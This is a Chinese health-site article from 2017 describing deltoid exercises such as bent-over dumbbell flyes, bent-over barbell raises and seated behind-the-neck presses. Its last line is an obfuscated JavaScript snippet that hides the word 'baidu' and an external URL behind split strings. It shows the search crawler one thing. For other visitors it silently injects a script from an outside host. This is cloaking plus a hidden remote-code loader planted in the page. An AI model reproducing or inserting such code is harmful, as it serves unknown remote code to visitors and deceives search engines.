当前位置:首页 > 健康 > 运动健身 > 正文

如何有效的锻炼肌肉

2017-06-12 17:08:16  来源:360常识网   热度:
导语:身体的肌肉分布非常广泛,上面只是针对三角肌部位的肌肉锻炼做一些详细的介绍。有的人不禁要问,三角肌根本就不明显,即便是裸露身体也不容

身体的肌肉分布非常广泛,上面只是针对三角肌部位的肌肉锻炼做一些详细的介绍。有的人不禁要问,三角肌根本就不明显,即便是裸露身体也不容易发现,为什么还要锻炼呢?其实不然,如果男性的三角肌发达,则肩膀会显得更加宽广,后背会更加有曲线。三角肌发达的男性,即便是身体其他部位肌肉不发达,看起来整个人也很有立体感。

下面是三角肌具体的锻炼方法。

俯身哑铃飞鸟,双腿打开与肩同款,手持哑铃,上肢前倾,膝盖维弯,同时保持上半身挺直;双手朝身体两侧拉开,直至上臂与身体呈一条直线,停顿2-3秒,再缓缓回到起始位置。这个动作最大的好处就是可以重新刺激你的三角肌后束,让它们重新恢复到张-驰交替的状态,让肩部能向后展开。

如果你一开始无法保持上臂与身体形成直线,其实也没有关系,你只需尽力即可,多做几次,循序渐进地让肌肉恢复的原本该有的状态。

俯身杠铃提拉,俯身前倾,保持背部挺直。双手抓住杠铃,保持手臂略微弯曲,肘部指向两侧。肘部向上弯曲,上拉提高杠铃位置。保持上臂垂直于身体。返回时,保持手臂稍微弯曲。

这个动作同样可以使用哑铃完成。需要注意的是上臂在整个运动过程中需要垂直于躯干,在垂直于躯干的平面中运动。如果上臂过于靠近躯干,动作会变成杠铃俯身划船,背部肌群会发力,影响三角肌的锻炼效果。

坐姿杠铃颈后推肩同样可以进行三角肌锻炼,具体操作的时候双手分别持着哑铃,放置于后天部位,然后挺胸收腹,随着呼吸的节拍向上推举哑铃到头顶,直到双臂完全伸直,停顿3秒钟左右,再缓慢地将哑铃放下,这个动作一组可以做50次左右。最开始的时候哑铃的重量不能太大。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}